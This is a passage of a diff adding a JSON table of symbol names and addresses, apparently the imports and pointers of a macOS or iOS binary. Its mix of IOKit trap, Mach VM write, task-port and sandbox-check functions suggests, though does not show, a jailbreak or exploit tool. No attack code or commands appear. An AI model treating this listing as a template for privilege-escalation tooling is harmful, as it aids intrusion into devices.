"address": "0x440A0" + }, + { + "name": "_CFDictionaryApplyFunction_ptr", + "address": "0x440A8" + }, + { + "name": "_CFDictionaryCreateMutable_ptr", + "address": "0x440B0" + }, + { + "name": "_CFDictionaryCreateMutableCopy_ptr", + "address": "0x440B8" + }, + { + "name": "_CFDictionaryGetTypeID_ptr", + "address": "0x440C0" + }, + { + "name": "_CFDictionaryGetValueIfPresent_ptr", + "address": "0x440C8" + }, + { + "name": "_CFDictionarySetValue_ptr", + "address": "0x440D0" + }, + { + "name": "_CFEqual_ptr", + "address": "0x440D8" + }, + { + "name": "_CFGetTypeID_ptr", + "address": "0x440E0" + }, + { + "name": "_CFNumberCreate_ptr", + "address": "0x440E8" + }, + { + "name": "_CFNumberGetTypeID_ptr", + "address": "0x440F0" + }, + { + "name": "_CFNumberGetValue_ptr", + "address": "0x440F8" + }, + { + "name": "_CFPropertyListCreateData_ptr", + "address": "0x44100" + }, + { + "name": "_CFPropertyListCreateWithData_ptr", + "address": "0x44108" + }, + { + "name": "_CFPropertyListCreateWithStream_ptr", + "address": "0x44110" + }, + { + "name": "_CFReadStreamClose_ptr", + "address": "0x44118" + }, + { + "name": "_CFReadStreamCreateWithBytesNoCopy_ptr", + "address": "0x44120" + }, + { + "name": "_CFReadStreamOpen_ptr", + "address": "0x44128" + }, + { + "name": "_CFRelease_ptr", + "address": "0x44130" + }, + { + "name": "_CFRunLoopAddSource_ptr", + "address": "0x44138" + }, + { + "name": "_CFRunLoopGetCurrent_ptr", + "address": "0x44140" + }, + { + "name": "_CFRunLoopRemoveSource_ptr", + "address": "0x44148" + }, + { + "name": "_CFRunLoopRunInMode_ptr", + "address": "0x44150" + }, + { + "name": "_CFStringCreateWithCString_ptr", + "address": "0x44158" + }, + { + "name": "_CFStringGetCString_ptr", + "address": "0x44160" + }, + { + "name": "_CFStringGetSystemEncoding_ptr", + "address": "0x44168" + }, + { + "name": "_CFStringGetTypeID_ptr", + "address": "0x44170" + }, + { + "name": "_CFStringHasPrefix_ptr", + "address": "0x44178" + }, + { + "name": "_IOCFSerialize_ptr", + "address": "0x44180" + }, + { + "name": "_IOConnectCallMethod_ptr", + "address": "0x44188" + }, + { + "name": "_IOConnectCallScalarMethod_ptr", + "address": "0x44190" + }, + { + "name": "_IOConnectCallStructMethod_ptr", + "address": "0x44198" + }, + { + "name": "_IOConnectTrap4_ptr", + "address": "0x441A0" + }, + { + "name": "_IOConnectTrap6_ptr", + "address": "0x441A8" + }, + { + "name": "_IOIteratorNext_ptr", + "address": "0x441B0" + }, + { + "name": "_IONotificationPortCreate_ptr", + "address": "0x441B8" + }, + { + "name": "_IONotificationPortDestroy_ptr", + "address": "0x441C0" + }, + { + "name": "_IONotificationPortGetRunLoopSource_ptr", + "address": "0x441C8" + }, + { + "name": "_IOObjectRelease_ptr", + "address": "0x441D0" + }, + { + "name": "_IORegistryEntryCreateCFProperties_ptr", + "address": "0x441D8" + }, + { + "name": "_IORegistryEntryCreateCFProperty_ptr", + "address": "0x441E0" + }, + { + "name": "_IORegistryEntryFromPath_ptr", + "address": "0x441E8" + }, + { + "name": "_IORegistryEntryGetChildIterator_ptr", + "address": "0x441F0" + }, + { + "name": "_IORegistryEntrySearchCFProperty_ptr", + "address": "0x441F8" + }, + { + "name": "_IOServiceAddMatchingNotification_ptr", + "address": "0x44200" + }, + { + "name": "_IOServiceClose_ptr", + "address": "0x44208" + }, + { + "name": "_IOServiceGetMatchingService_ptr", + "address": "0x44210" + }, + { + "name": "_IOServiceMatching_ptr", + "address": "0x44218" + }, + { + "name": "_IOServiceOpen_ptr", + "address": "0x44220" + }, + { + "name": "_IOServiceWaitQuiet_ptr", + "address": "0x44228" + }, + { + "name": "__CFProcessPath_ptr", + "address": "0x44230" + }, + { + "name": "__IOServiceSetAuthorizationID_ptr", + "address": "0x44238" + }, + { + "name": "___error_ptr", + "address": "0x44240" + }, + { + "name": "___memcpy_chk_ptr", + "address": "0x44248" + }, + { + "name": "___memset_chk_ptr", + "address": "0x44250" + }, + { + "name": "___semwait_signal_ptr", + "address": "0x44258" + }, + { + "name": "___stack_chk_fail_ptr", + "address": "0x44260" + }, + { + "name": "___strlcpy_chk_ptr", + "address": "0x44268" + }, + { + "name": "___ulock_wait_ptr", + "address": "0x44270" + }, + { + "name": "___ulock_wake_ptr", + "address": "0x44278" + }, + { + "name": "__get_cpu_capabilities_ptr", + "address": "0x44280" + }, + { + "name": "__os_alloc_once_ptr", + "address": "0x44288" + }, + { + "name": "_arc4random_buf_ptr", + "address": "0x44290" + }, + { + "name": "_bzero_ptr", + "address": "0x44298" + }, + { + "name": "_calloc_ptr", + "address": "0x442A0" + }, + { + "name": "_chown_ptr", + "address": "0x442A8" + }, + { + "name": "_close_ptr", + "address": "0x442B0" + }, + { + "name": "_connect_ptr", + "address": "0x442B8" + }, + { + "name": "_dlclose_ptr", + "address": "0x442C0" + }, + { + "name": "_dlopen_ptr", + "address": "0x442C8" + }, + { + "name": "_dlsym_ptr", + "address": "0x442D0" + }, + { + "name": "_fcntl_ptr", + "address": "0x442D8" + }, + { + "name": "_ffsctl_ptr", + "address": "0x442E0" + }, + { + "name": "_fileport_makefd_ptr", + "address": "0x442E8" + }, + { + "name": "_fileport_makeport_ptr", + "address": "0x442F0" + }, + { + "name": "_free_ptr", + "address": "0x442F8" + }, + { + "name": "_fstat_ptr", + "address": "0x44300" + }, + { + "name": "_getattrlist_ptr", + "address": "0x44308" + }, + { + "name": "_getmntinfo_ptr", + "address": "0x44310" + }, + { + "name": "_getpid_ptr", + "address": "0x44318" + }, + { + "name": "_getppid_ptr", + "address": "0x44320" + }, + { + "name": "_getuid_ptr", + "address": "0x44328" + }, + { + "name": "_host_create_mach_voucher_ptr", + "address": "0x44330" + }, + { + "name": "_host_get_io_master_ptr", + "address": "0x44338" + }, + { + "name": "_host_get_special_port_ptr", + "address": "0x44340" + }, + { + "name": "_host_kernel_version_ptr", + "address": "0x44348" + }, + { + "name": "_host_page_size_ptr", + "address": "0x44350" + }, + { + "name": "_host_processors_ptr", + "address": "0x44358" + }, + { + "name": "_host_security_set_task_token_ptr", + "address": "0x44360" + }, + { + "name": "_ioctl_ptr", + "address": "0x44368" + }, + { + "name": "_lstat_ptr", + "address": "0x44370" + }, + { + "name": "_mach_absolute_time_ptr", + "address": "0x44378" + }, + { + "name": "_mach_host_self_ptr", + "address": "0x44380" + }, + { + "name": "_mach_make_memory_entry_ptr", + "address": "0x44388" + }, + { + "name": "_mach_make_memory_entry_64_ptr", + "address": "0x44390" + }, + { + "name": "_mach_msg_ptr", + "address": "0x44398" + }, + { + "name": "_mach_msg_destroy_ptr", + "address": "0x443A0" + }, + { + "name": "_mach_msg_send_ptr", + "address": "0x443A8" + }, + { + "name": "_mach_port_allocate_ptr", + "address": "0x443B0" + }, + { + "name": "_mach_port_deallocate_ptr", + "address": "0x443B8" + }, + { + "name": "_mach_port_destroy_ptr", + "address": "0x443C0" + }, + { + "name": "_mach_port_get_attributes_ptr", + "address": "0x443C8" + }, + { + "name": "_mach_port_insert_right_ptr", + "address": "0x443D0" + }, + { + "name": "_mach_port_mod_refs_ptr", + "address": "0x443D8" + }, + { + "name": "_mach_port_request_notification_ptr", + "address": "0x443E0" + }, + { + "name": "_mach_port_set_attributes_ptr", + "address": "0x443E8" + }, + { + "name": "_mach_port_space_info_ptr", + "address": "0x443F0" + }, + { + "name": "_mach_ports_register_ptr", + "address": "0x443F8" + }, + { + "name": "_mach_reply_port_ptr", + "address": "0x44400" + }, + { + "name": "_mach_thread_self_ptr", + "address": "0x44408" + }, + { + "name": "_mach_timebase_info_ptr", + "address": "0x44410" + }, + { + "name": "_mach_vm_allocate_ptr", + "address": "0x44418" + }, + { + "name": "_mach_vm_deallocate_ptr", + "address": "0x44420" + }, + { + "name": "_mach_vm_machine_attribute_ptr", + "address": "0x44428" + }, + { + "name": "_mach_vm_page_info_ptr", + "address": "0x44430" + }, + { + "name": "_mach_vm_read_overwrite_ptr", + "address": "0x44438" + }, + { + "name": "_mach_vm_wire_ptr", + "address": "0x44440" + }, + { + "name": "_mach_vm_write_ptr", + "address": "0x44448" + }, + { + "name": "_madvise_ptr", + "address": "0x44450" + }, + { + "name": "_malloc_ptr", + "address": "0x44458" + }, + { + "name": "_memcmp_ptr", + "address": "0x44460" + }, + { + "name": "_memcpy_ptr", + "address": "0x44468" + }, + { + "name": "_mig_dealloc_reply_port_ptr", + "address": "0x44470" + }, + { + "name": "_mig_get_reply_port_ptr", + "address": "0x44478" + }, + { + "name": "_mkdir_ptr", + "address": "0x44480" + }, + { + "name": "_mktemp_ptr", + "address": "0x44488" + }, + { + "name": "_mmap_ptr", + "address": "0x44490" + }, + { + "name": "_mount_ptr", + "address": "0x44498" + }, + { + "name": "_necp_client_action_ptr", + "address": "0x444A0" + }, + { + "name": "_necp_open_ptr", + "address": "0x444A8" + }, + { + "name": "_open_ptr", + "address": "0x444B0" + }, + { + "name": "_open_dprotected_np_ptr", + "address": "0x444B8" + }, + { + "name": "_pid_for_task_ptr", + "address": "0x444C0" + }, + { + "name": "_pipe_ptr", + "address": "0x444C8" + }, + { + "name": "_posix_spawn_ptr", + "address": "0x444D0" + }, + { + "name": "_posix_spawn_file_actions_addopen_ptr", + "address": "0x444D8" + }, + { + "name": "_posix_spawn_file_actions_destroy_ptr", + "address": "0x444E0" + }, + { + "name": "_posix_spawn_file_actions_init_ptr", + "address": "0x444E8" + }, + { + "name": "_posix_spawnattr_destroy_ptr", + "address": "0x444F0" + }, + { + "name": "_posix_spawnattr_init_ptr", + "address": "0x444F8" + }, + { + "name": "_posix_spawnattr_setflags_ptr", + "address": "0x44500" + }, + { + "name": "_posix_spawnattr_setpgroup_ptr", + "address": "0x44508" + }, + { + "name": "_posix_spawnattr_setsigdefault_ptr", + "address": "0x44510" + }, + { + "name": "_pread_ptr", + "address": "0x44518" + }, + { + "name": "_proc_pidinfo_ptr", + "address": "0x44520" + }, + { + "name": "_processor_set_default_ptr", + "address": "0x44528" + }, + { + "name": "_processor_set_info_ptr", + "address": "0x44530" + }, + { + "name": "_pthread_attr_destroy_ptr", + "address": "0x44538" + }, + { + "name": "_pthread_attr_init_ptr", + "address": "0x44540" + }, + { + "name": "_pthread_attr_setdetachstate_ptr", + "address": "0x44548" + }, + { + "name": "_pthread_create_ptr", + "address": "0x44550" + }, + { + "name": "_pthread_create_suspended_np_ptr", + "address": "0x44558" + }, + { + "name": "_pthread_from_mach_thread_np_ptr", + "address": "0x44560" + }, + { + "name": "_pthread_join_ptr", + "address": "0x44568" + }, + { + "name": "_pthread_mach_thread_np_ptr", + "address": "0x44570" + }, + { + "name": "_pthread_mutex_destroy_ptr", + "address": "0x44578" + }, + { + "name": "_pthread_mutex_init_ptr", + "address": "0x44580" + }, + { + "name": "_pthread_mutex_lock_ptr", + "address": "0x44588" + }, + { + "name": "_pthread_mutex_unlock_ptr", + "address": "0x44590" + }, + { + "name": "_pthread_self_ptr", + "address": "0x44598" + }, + { + "name": "_qsort_ptr", + "address": "0x445A0" + }, + { + "name": "_read_ptr", + "address": "0x445A8" + }, + { + "name": "_realloc_ptr", + "address": "0x445B0" + }, + { + "name": "_rmdir_ptr", + "address": "0x445B8" + }, + { + "name": "_sandbox_check_ptr", + "address": "0x445C0" + }, + { + "name": "_sched_yield_ptr", + "address": "0x445C8" + }, + { + "name": "_semaphore_create_ptr", + "address": "0x445D0" + }, + { + "name": "_semaphore_destroy_ptr", + "address": "0x445D8" + }, + { + "name": "_semaphore_signal_ptr", + "address": "0x445E0" + }, + { + "name": "_semaphore_timedwait_ptr", + "address": "0x445E8" + }, + { + "name": "_semaphore_wait_ptr", + "address": "0x445F0" + }, + { + "name": "_seteuid_ptr", + "address": "0x445F8" + }, + { + "name": "_setsockopt_ptr", + "address": "0x44600" + }, + { + "name": "_snprintf_ptr", + "address": "0x44608" + }, + { + "name": "_socket_ptr", + "address": "0x44610" + }, + { + "name": "_sscanf_ptr", + "address": "0x44618" + }, + { + "name": "_stat_ptr", + "address": "0x44620" + }, + { + "name": "_statfs_ptr", + "address": "0x44628" + }, + { + "name": "_strchr_ptr", + "address": "0x44630" + }, + { + "name": "_strcmp_ptr", + "address": "0x44638" + }, + { + "name": "_strcpy_ptr", + "address": "0x44640" + }, + { + "name": "_strdup_ptr", + "address": "0x44648" + }, + { + "name": "_strlcpy_ptr", + "address": "0x44650" + }, + { + "name": "_strlen_ptr", + "address": "0x44658" + }, + { + "name": "_strncmp_ptr", + "address": "0x44660" + }, + { + "name": "_strsep_ptr", + "address": "0x44668" + }, + { + "name": "_strstr_ptr", + "address": "0x44670" + }, + { + "name": "_strtol_ptr", + "address": "0x44678" + }, + { + "name": "_syscall_ptr", + "address": "0x44680" + }, + { + "name": "_sysctl_ptr", + "address": "0x44688" + }, + { + "name": "_sysctlbyname_ptr", + "address": "0x44690" + }, + { + "name": "_task_get_special_port_ptr", + "address": "0x44698" + }, + { + "name": "_task_info_ptr", + "address": "0x446A0" + }, + { + "name": "_task_map_corpse_info_64_ptr", + "address": "0x446A8" + }, + { + "name": "_task_resume2_ptr", + "address": "0x446B0" + }, + { + "name": "_task_set_special_port_ptr", + "address": "0x446B8" + }, + { + "name": "_task_suspend2_ptr", + "address": "0x446C0" + }, + { + "name": "_task_threads_ptr", + "address": "0x446C8" + }, + { + "name": "_thread_create_ptr", + "address": "0x446D0" + }, + { + "name": "_thread_get_state_ptr", + "address": "0x446D8" + }, + { + "name": "_thread_policy_set_ptr", + "address": "0x446E0" + }, + { + "name": "_thread_resume_ptr", + "address": "0x446E8" + }, + { + "name": "_thread_set_exception_ports_ptr", + "address": "0x446F0" + }, + { + "name": "_thread_set_state_ptr", + "address": "0x446F8" + }, + { + "name": "_thread_suspend_ptr", + "address": "0x44700" + }, + { + "name": "_thread_switch_ptr", + "address": "0x44708" + }, + { + "name": "_thread_terminate_ptr", + "address": "0x44710" + }, + { + "name": "_uname_ptr", + "address": "0x44718" + }, + { + "name": "_unlink_ptr", + "address": "0x44720" + }, + { + "name": "_unmount_ptr", + "address": "0x44728" + }, + { + "name": "_usleep_ptr", + "address": "0x44730" + }, + { + "name": "_uuid_is_null_ptr", + "address": "0x44738" + }, + { + "name": "_vm_allocate_ptr", + "address": "0x44740" + }, + { + "name": "_vm_copy_ptr", + "address": "0x44748" + }, + { + "name": "_vm_deallocate_ptr", + "address": "0x44750" + }, + { + "name": "_vm_map_ptr", + "address": "0x44758" + }, + { + "name": "_vm_protect_ptr", + "address": "0x44760" + }, + { + "name": "_vm_read_overwrite_ptr", + "address": "0x44768" + }, + { + "name": "_vm_region_64_ptr", + "address": "0x44770" + }, + { + "name": "_vm_region_recurse_64_ptr", + "address": "0x44778" + }, + { + "name": "_vm_remap_ptr", + "address": "0x44780" + }, + { + "name": "_vm_write_ptr", + "address": "0x44788" + }, + { + "name": "_waitpid_ptr", + "address": "0x44790" + }, + { + "name": "_write_ptr", + "address": "0x44798" + }, + { + "name": "_NDR_record_ptr", + "address": "0x447A0" + }, + { + "name": "_SANDBOX_CHECK_NO_REPORT_ptr", + "address": "0x447A8" + }, + { + "name": "__NSConcreteStackBlock_ptr", + "address": "0x447B0" + }, + { + "name": "____kernelVersionString_ptr", + "address": "0x447B8" + }, + { + "name": "___stack_chk_guard_ptr", + "address": "0x447C0" + }, + { + "name": "__get_cpu_capabilities_ptr_0", + "address": "0x447C8" + }, + { + "name": "__os_alloc_once_table_ptr", + "address": "0x447D0" + }, + { + "name": "_bootstrap_port_ptr", + "address": "0x447D8" + }, + { + "name": "_dyldVersionNumber_ptr", + "address": "0x447E0" + }, + { + "name": "_kCFAllocatorDefault_ptr", + "address": "0x447E8" + }, + { + "name": "_kCFAllocatorNull_ptr", + "address": "0x447F0" + }, + { + "name": "_kCFBooleanFalse_ptr", + "address": "0x447F8" + }, + { + "name": "_kCFRunLoopDefaultMode_ptr", + "address": "0x44800" + }, + { + "name": "_kCFTypeDictionaryKeyCallBacks_ptr", + "address": "0x44808" + }, + { + "name": "_kCFTypeDictionaryValueCallBacks_ptr", + "address": "0x44810" + }, + { + "name": "_kIOMasterPortDefault_ptr", + "address": "0x44818" + }, + { + "name": "_mach_task_self__ptr", + "address": "0x44820" + }, + { + "name": "_vm_page_mask_ptr", + "address": "0x44828" + }, + { + "name": "_vm_page_shift_ptr", + "address": "0x44830" + }, + { + "name": "_vm_page_size_ptr", + "address": "0x44838" + }, + { + "name": "cfstr_Autodiskmount", + "address": "0x44958" + }, + { + "name": "cfstr_OtaUniqueIdent", + "address": "0x44978" + }, + { + "name": "cfstr_ImagePath", + "address": "0x44998" + }, + { + "name": "cfstr_BsdName", + "address": "0x449B8" + }, + { + "name": "__imp__CFArrayAppendValue", + "address": "0x48100" + }, + { + "name": "__imp__CFArrayApplyFunction", + "address": "0x48108" + }, + { + "name": "__imp__CFArrayContainsValue", + "address": "0x48110" + }, + { + "name": "__imp__CFArrayGetCount", + "address": "0x48118" + }, + { + "name": "__imp__CFArrayGetTypeID", + "address": "0x48120" + }, + { + "name": "__imp__CFBooleanGetTypeID", + "address": "0x48128" + }, + { + "name": "__imp__CFDataCreate", + "address": "0x48130" + }, + { + "name": "__imp__CFDataCreateWithBytesNoCopy", + "address": "0x48138" + }, + { + "name": "__imp__CFDataGetBytePtr", + "address": "0x48140" + }, + { + "name": "__imp__CFDataGetLength", + "address": "0x48148" + }, + { + "name": "__imp__CFDataGetTypeID", + "address": "0x48150" + }, + { + "name": "__imp__CFDictionaryAddValue", + "address": "0x48158" + }, + { + "name": "__imp__CFDictionaryApplyFunction", + "address": "0x48160" + }, + { + "name": "__imp__CFDictionaryCreateMutable", + "address": "0x48168" + }, + { + "name": "__imp__CFDictionaryCreateMutableCopy", + "address": "0x48170" + }, + { + "name": "__imp__CFDictionaryGetTypeID", + "address": "0x48178" + }, + { + "name": "__imp__CFDictionaryGetValueIfPresent", + "address": "0x48180" + }, + { + "name": "__imp__CFDictionarySetValue", + "address": "0x48188" + }, + { + "name": "__imp__CFEqual", + "address": "0x48190" + }, + { + "name": "__imp__CFGetTypeID", + "address": "0x48198" + }, + { + "name": "__imp__CFNumberCreate", + "address": "0x481A0" + }, + { + "name": "__imp__CFNumberGetTypeID", + "address": "0x481A8" + }, + { + "name": "__imp__CFNumberGetValue", + "address": "0x481B0" + }, + { + "name": "__imp__CFPropertyListCreateData", + "address": "0x481B8" + }, + { + "name": "__imp__CFPropertyListCreateWithData", + "address": "0x481C0" + }, + { + "name": "__imp__CFPropertyListCreateWithStream", + "address": "0x481C8" + }, + { + "name": "__imp__CFReadStreamClose", + "address": "0x481D0" + }, + { + "name": "__imp__CFReadStreamCreateWithBytesNoCopy", + "address": "0x481D8" + }, + { + "name": "__imp__CFReadStreamOpen", + "address": "0x481E0" + }, + { + "name": "__imp__CFRelease", + "address": "0x481E8" + }, + { + "name": "__imp__CFRunLoopAddSource", + "address": "0x481F0" + }, + { + "name": "__imp__CFRunLoopGetCurrent", + "address": "0x481F8" + }, + { + "name": "__imp__CFRunLoopRemoveSource", + "address": "0x48200" + }, + { + "name": "__imp__CFRunLoopRunInMode", + "address": "0x48208" + }, + { + "name": "__imp__CFStringCreateWithCString", + "address": "0x48210" + }, + { + "name": "__imp__CFStringGetCString", + "address": "0x48218" + }, + { + "name": "__imp__CFStringGetSystemEncoding", + "address": "0x48220" + }, + { + "name": "__imp__CFStringGetTypeID", + "address": "0x48228" + }, + { + "name": "__imp__CFStringHasPrefix", + "address": "0x48230" + }, + { + "name": "__imp___CFProcessPath", + "address": "0x48238" + }, + { + "name": "_kCFAllocatorDefault", + "address": "0x48240" + }, + { + "name": "_kCFAllocatorNull", + "address": "0x48248" + }, + { + "name": "_kCFBooleanFalse", + "address": "0x48250" + }, + { + "name": "_kCFRunLoopDefaultMode", + "address": "0x48258" + }, + { + "name": "_kCFTypeDictionaryKeyCallBacks", + "address": "0x48260" + }, + { + "name": "_kCFTypeDictionaryValueCallBacks", + "address": "0x48268" + }, + { + "name": "___CFConstantStringClassReference", + "address": "0x48270" + }, + { + "name": "__imp__IOCFSerialize", + "address": "0x48278" + }, + { + "name": "__imp__IOConnectCallMethod", + "address": "0x48280" + }, + { + "name": "__imp__IOConnectCallScalarMethod", + "address": "0x48288" + }, + { + "name": "__imp__IOConnectCallStructMethod", + "address": "0x48290" + }, + { + "name": "__imp__IOConnectTrap4", + "address": "0x48298" + }, + { + "name": "__imp__IOConnectTrap6", + "address": "0x482A0" + }, + { + "name": "__imp__IOIteratorNext", + "address": "0x482A8" + }, + { + "name": "__imp__IONotificationPortCreate", + "address": "0x482B0" + }, + { + "name": "__imp__IONotificationPortDestroy", + "address": "0x482B8" + }, + { + "name": "__imp__IONotificationPortGetRunLoopSource", + "address": "0x482C0" + }, + { + "name": "__imp__IOObjectRelease", + "address": "0x482C8" + }, + { + "name": "__imp__IORegistryEntryCreateCFProperties", + "address": "0x482D0" + }, + { + "name": "__imp__IORegistryEntryCreateCFProperty", + "address": "0x482D8" + }, + { + "name": "__imp__IORegistryEntryFromPath", + "address": "0x482E0" + }, + { + "name": "__imp__IORegistryEntryGetChildIterator", + "address": "0x482E8" + }, + { + "name": "__imp__IORegistryEntrySearchCFProperty", + "address": "0x482F0" + }, + { + "name": "__imp__IOServiceAddMatchingNotification", + "address": "0x482F8" + }, + { + "name": "__imp__IOServiceClose", + "address": "0x48300" + }, + { + "name": "__imp__IOServiceGetMatchingService", + "address": "0x48308" + }, + { + "name": "__imp__IOServiceMatching", + "address": "0x48310" + }, + { + "name": "__imp__IOServiceOpen", + "address": "0x48318" + }, + { + "name": "__imp__IOServiceWaitQuiet", + "address": "0x48320" + }, + { + "name": "__imp___IOServiceSetAuthorizationID", + "address": "0x48328" + }, + { + "name": "_kIOMasterPortDefault", + "address": "0x48330" + }, + { + "name": "__imp__CC_SHA1_Final", + "address": "0x48338" + }, + { + "name": "__imp__CC_SHA1_Init", + "address": "0x48340" + }, + { + "name": "__imp__CC_SHA1_Update", + "address": "0x48348" + }, + { + "name": "__imp__CC_SHA256_Final", + "address": "0x48350" + }, + { + "name": "__imp__CC_SHA256_Init", + "address": "0x48358" + }, + { + "name": "__imp__CC_SHA256_Update", + "address": "0x48360" + }, + { + "name": "__imp__CC_SHA384_Final", + "address": "0x48368" + }, + { + "name": "__imp__CC_SHA384_Init", + "address": "0x48370" + }, + { + "name": "__imp__CC_SHA384_Update", + "address": "0x48378" + }, + { + "name": "__imp____error", + "address": "0x48380" + }, + { + "name": "__imp____memcpy_chk", + "address": "0x48388" + }, + { + "name": "__imp____memset_chk", + "address": "0x48390" + }, + { + "name": "__imp____semwait_signal", + "address": "0x48398" + }, + { + "name": "__imp____stack_chk_fail", + "address": "0x483A0" + }, + { + "name": "__imp____strlcpy_chk", + "address": "0x483A8" + }, + { + "name": "__imp____ulock_wait", + "address": "0x483B0" + }, + { + "name": "__imp____ulock_wake", + "address": "0x483B8" + }, + { + "name": "__imp___get_cpu_capabilities", + "address": "0x483C0" + }, + { + "name": "__imp___os_alloc_once", + "address": "0x483C8" + }, + { + "name": "__imp__arc4random_buf", + "address": "0x483D0" + }, + { + "name": "__imp__bzero", + "address": "0x483D8" + }, + { + "name": "__imp__calloc", + "address": "0x483E0" + }, + { + "name": "__imp__chown", + "address": "0x483E8" + }, + { + "name": "__imp__close", + "address": "0x483F0" + }, + { + "name": "__imp__connect", + "address": "0x483F8" + }, + { + "name": "__imp__dlclose", + "address": "0x48400" + }, + { + "name": "__imp__dlopen", + "address": "0x48408" + }, + { + "name": "__imp__dlsym", + "address": "0x48410" + }, + { + "name": "__imp__fcntl", + "address": "0x48418" + }, + { + "name": "__imp__ffsctl", + "address": "0x48420" + }, + { + "name": "__imp__fileport_makefd", + "address": "0x48428" + }, + { + "name": "__imp__fileport_makeport", + "address": "0x48430" + }, + { + "name": "__imp__free", + "address": "0x48438" + }, + { + "name": "__imp__fstat", + "address": "0x48440" + }, + { + "name": "__imp__getattrlist", + "address": "0x48448" + }, + { + "name": "__imp__getmntinfo", + "address": "0x48450" + }, + { + "name": "__imp__getpid", + "address": "0x48458" + }, + { + "name": "__imp__getppid", + "address": "0x48460" + }, + { + "name": "__imp__getuid", + "address": "0x48468" + }, + { + "name": "__imp__host_create_mach_voucher", + "address": "0x48470" + }, + { + "name": "__imp__host_get_io_master", + "address": "0x48478" + }, + { + "name": "__imp__host_get_special_port", + "address": "0x48480" + }, + { + "name": "__imp__host_kernel_version", + "address": "0x48488" + }, + { + "name": "__imp__host_page_size", + "address": "0x48490" + }, + { + "name": "__imp__host_processors", + "address": "0x48498" + }, + { + "name": "__imp__host_security_set_task_token", + "address": "0x484A0" + }, + { + "name": "__imp__ioctl", + "address": "0x484A8" + }, + { + "name": "__imp__lstat", + "address": "0x484B0" + }, + { + "name": "__imp__mach_absolute_time", + "address": "0x484B8" + }, + { + "name": "__imp__mach_host_self", + "address": "0x484C0" + }, + { + "name": "__imp__mach_make_memory_entry", + "address": "0x484C8" + }, + { + "name": "__imp__mach_make_memory_entry_64", + "address": "0x484D0" + }, + { + "name": "__imp__mach_msg", + "address": "0x484D8" + }, + { + "name": "__imp__mach_msg_destroy", + "address": "0x484E0" + }, + { + "name": "__imp__mach_msg_send", + "address": "0x484E8" + }, + { + "name": "__imp__mach_port_allocate", + "address": "0x484F0" + }, + { + "name": "__imp__mach_port_deallocate", + "address": "0x484F8" + }, + { + "name": "__imp__mach_port_destroy", + "address": "0x48500" + }, + { + "name": "__imp__mach_port_get_attributes", + "address": "0x48508" + }, + { + "name": "__imp__mach_port_insert_right", + "address": "0x48510" + }, + { + "name": "__imp__mach_port_mod_refs", + "address": "0x48518" + }, + { + "name": "__imp__mach_port_request_notification", + "address": "0x48520" + }, + { + "name": "__imp__mach_port_set_attributes", + "address": "0x48528" + }, + { + "name": "__imp__mach_port_space_info", + "address": "0x48530" + }, + { + "name": "__imp__mach_ports_register", + "address": "0x48538" + }, + { + "name": "__imp__mach_thread_self", + "address": "0x48548" + }, + { + "name": "__imp__mach_timebase_info", + "address": "0x48550" + }, + { + "name": "__imp__mach_vm_allocate", + "address": "0x48558" + }, + { + "name": "__imp__mach_vm_deallocate", + "address": "0x48560" + }, + { + "name": "__imp__mach_vm_machine_attribute", + "address": "0x48568" + }, + { + "name": "__imp__mach_vm_page_info", + "address": "0x48570" + }, + { + "name": "__imp__mach_vm_read_overwrite", + "address": "0x48578" + }, + { + "name": "__imp__mach_vm_wire", + "address": "0x48580" + }, + { + "name": "__imp__mach_vm_write", + "address": "0x48588" + }, + { + "name": "__imp__madvise", + "address": "0x48590" + }, + { + "name": "__imp__malloc", + "address": "0x48598" + }, + { + "name": "__imp__memcmp", + "address": "0x485A0" + }, + { + "name": "__imp__memcpy", + "address": "0x485A8" + }, + { + "name": "__imp__mig_dealloc_reply_port", + "address": "0x485B0" + }, + { + "name": "__imp__mig_get_reply_port", + "address": "0x485B8" + }, + { + "name": "__imp__mkdir", + "address": "0x485C0" + }, + { + "name": "__imp__mktemp", + "address": "0x485C8" + }, + { + "name": "__imp__mmap", + "address": "0x485D0" + }, + { + "name": "__imp__mount", + "address": "0x485D8" + }, + { + "name": "__imp__necp_client_action", + "address": "0x485E0" + }, + { + "name": "__imp__necp_open", + "address": "0x485E8" + }, + { + "name": "__imp__open", + "address": "0x485F0" + }, + { + "name": "__imp__open_dprotected_np", + "address": "0x485F8" + }, + { + "name": "__imp__pid_for_task", + "address": "0x48600" + }, + { + "name": "__imp__pipe", + "address": "0x48608" + }, + { + "name": "__imp__posix_spawn", + "address": "0x48610" + }, + { + "name": "__imp__posix_spawn_file_actions_addopen", + "address": "0x48618" + }, + { + "name": "__imp__posix_spawn_file_actions_destroy", + "address": "0x48620" + }, + { + "name": "__imp__posix_spawn_file_actions_init", + "address": "0x48628" + }, + { + "name": "__imp__posix_spawnattr_destroy", + "address": "0x48630" + }, + { + "name": "__imp__posix_spawnattr_init", + "address": "0x48638" + }, + { + "name": "__imp__posix_spawnattr_setflags", + "address": "0x48640" + }, + { + "name": "__imp__posix_spawnattr_setpgroup", + "address": "0x48648" + }, + { + "name": "__imp__posix_spawnattr_setsigdefault", + "address": "0x48650" + }, + { + "name": "__imp__pread", + "address": "0x48658" + }, + { + "name": "__imp__proc_pidinfo", + "address": "0x48660" + }, + { + "name": "__imp__processor_set_default", + "address": "0x48668" + }, + { + "name": "__imp__processor_set_info", + "address": "0x48670" + }, + { + "name": "__imp__pthread_attr_destroy", + "address": "0x48678" + }, + { + "name": "__imp__pthread_attr_init", + "address": "0x48680" + }, + { + "name": "__imp__pthread_attr_setdetachstate", + "address": "0x48688" + }, + { + "name": "__imp__pthread_create", + "address": "0x48690" + }, + { + "name": "__imp__pthread_create_suspended_np", + "address": "0x48698" + }, + { + "name": "__imp__pthread_from_mach_thread_np", + "address": "0x486A0" + }, + { + "name": "__imp__pthread_join", + "address": "0x486A8" + }, + { + "name": "__imp__pthread_mach_thread_np", + "address": "0x486B0" + }, + { + "name": "__imp__pthread_mutex_destroy", + "address": "0x486B8" + }, + { + "name": "__imp__pthread_mutex_init", + "address": "0x486C0" + }, + { + "name": "__imp__pthread_mutex_lock", + "address": "0x486C8" + }, + { + "name": "__imp__pthread_mutex_unlock", + "address": "0x486D0" + }, + { + "name": "__imp__pthread_self", + "address": "0x486D8" + }, + { + "name": "__imp__qsort", + "address": "0x486E0" + }, + { + "name": "__imp__read", + "address": "0x486E8" + }, + { + "name": "__imp__realloc", + "address": "0x486F0" + }, + { + "name": "__imp__rmdir", + "address": "0x486F8" + }, + { + "name": "__imp__sandbox_check", + "address": "0x48700" + }, + { + "name": "__imp__sched_yield", + "address": "0x48708" + }, + { + "name": "__imp__semaphore_create", + "address": "0x48710" + }, + { + 